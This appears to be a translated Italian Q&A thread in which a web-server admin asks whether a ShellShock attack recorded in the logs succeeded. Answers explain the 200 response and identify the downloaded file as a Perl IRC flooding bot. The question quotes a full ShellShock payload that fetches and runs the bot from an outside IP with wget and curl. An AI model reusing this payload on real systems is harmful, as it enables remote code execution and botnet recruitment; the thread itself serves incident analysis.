Questo exploit di ShellShock ha funzionato?

2

Guardando attraverso i registri del mio server web, ho notato due diversi attacchi ShellShock sul mio server, che hanno entrambi generato un codice di risposta HTTP 200 OK. Assomigliano a questo (indirizzo IP / data e ora redatte):

223.252.35.159 - - [************] "GET / HTTP/1.1" 200 2203 "() { :;}; /bin/bash -c \"echo [IP_ADDRESS]/  ;cd /var/tmp; wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den;cd /var/spool/samba/;wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den; echo \"" "() { :;}; /bin/bash -c \"echo [IP_ADDRESS]/  ;cd /var/tmp; wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den;cd /var/spool/samba/;wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den; echo \""

La mia versione di bash è la 4.2.37 e aggiorniamo regolarmente questo server tramite apt-get update && apt-get dist-upgrade insieme all'analisi del file di registro giornaliero. Si sta utilizzando Apache 2.2.22 e solo la porta 80 è aperta. Il file scaricato sembra essere uno script IRC che posso solo immaginare è utilizzato per scopi di flooding in questo contesto.

Cercando di eseguire x='() { :;}; echo VULNERABLE' bash -c : (da C'è un breve comando per verificare se il mio server è protetto contro il bug di shellshock? ) non restituisce nulla, ma l'esecuzione di ps -p $$ da un terminale SSH mostra una bash shell attualmente in uso.

La domanda è: è probabile che l'exploit abbia funzionato visto quanto sopra?

    
posta Ocracoke 14.06.2015 - 02:54
fonte

2 risposte

2

Non c'è modo di distinguere dal solo file di log. La risposta "200 OK" significa solo che il tuo server web è in esecuzione e ha una pagina di indice in "/" - qualcosa di vero per quasi tutti i server web del mondo.

Se x='() { :;}; echo VULNERABLE' bash -c : non stampa la parola VULNERABLE , quasi certamente non sei vulnerabile.

    
risposta data 14.06.2015 - 07:07
fonte
1

Questo è un vecchio bot perl irc:

... ;cd /var/tmp; wget 85.214.60.234/den;perl den;rm -fr den;c...

Quando scrivo questo, faccio già wget e qualche controllo:

cd /tmp
wget 85.214.60.234/den
sed -e 's/^\(.\{78\}\).*//;12q' den
#!/usr/bin/perl

##############################################################################
##############################################################################
## JST Perl IrcBot v3.0 / 2011 by FrankBlack @ Millenium Group ## [ Help ] ###
##      Stealth MultiFunctional IrcBot writen in Perl          ###############
##        Teste on every system with PERL instlled             ##  !u @system 
##                                                             ##  !u @version
##     This is a free program used on your own risk.           ##  !u @channel
##        Created for educational purpose only.                ##  !u @flood  
## I'm not responsible for the illegal use of this program.    ##  !u @utils  
##############################################################################

Bene, questo vecchio script fa un po 'di autocompiacimento e un sacco di cose sotto controllo remoto tramite server IRC esterno.

Ho già scritto un non perfetto DDos Perl IrcBot Killer , che funziona perfettamente con questa versione.

Dai un'occhiata alle righe 61 e 62 del mio script:

61          m+^(/usr)?(/local)?(/s?bin)?[\[/]?(http|ssh|apache|syslog|cron|klog|kblockd|khelper|kmpathd|ksoftirqd|acpi|sync|-)+;
62  #       m+^(/usr)?(/local)?(/s?bin)?[\[/]?([a-z0-9-]\+)+;

e righe da 31 a 38 dalla versione den :

31  my @rps = ("/usr/local/apache/bin/httpd -DSSL",
32                     "/usr/sbin/httpd -k start -DSSL",
33             "/usr/sbin/httpd",
34             "/usr/sbin/apache2 -k start",
35                 "/sbin/syslogd",
36                 "/sbin/klogd -c 1 -x -x",
37                     "/usr/sbin/acpid",
38                     "/usr/sbin/cron");

Quindi potrei assicurarmi ( oggi ), il mio script troverà e ucciderà questo virus .

    
risposta data 14.06.2015 - 09:33
fonte

Leggi altre domande sui tag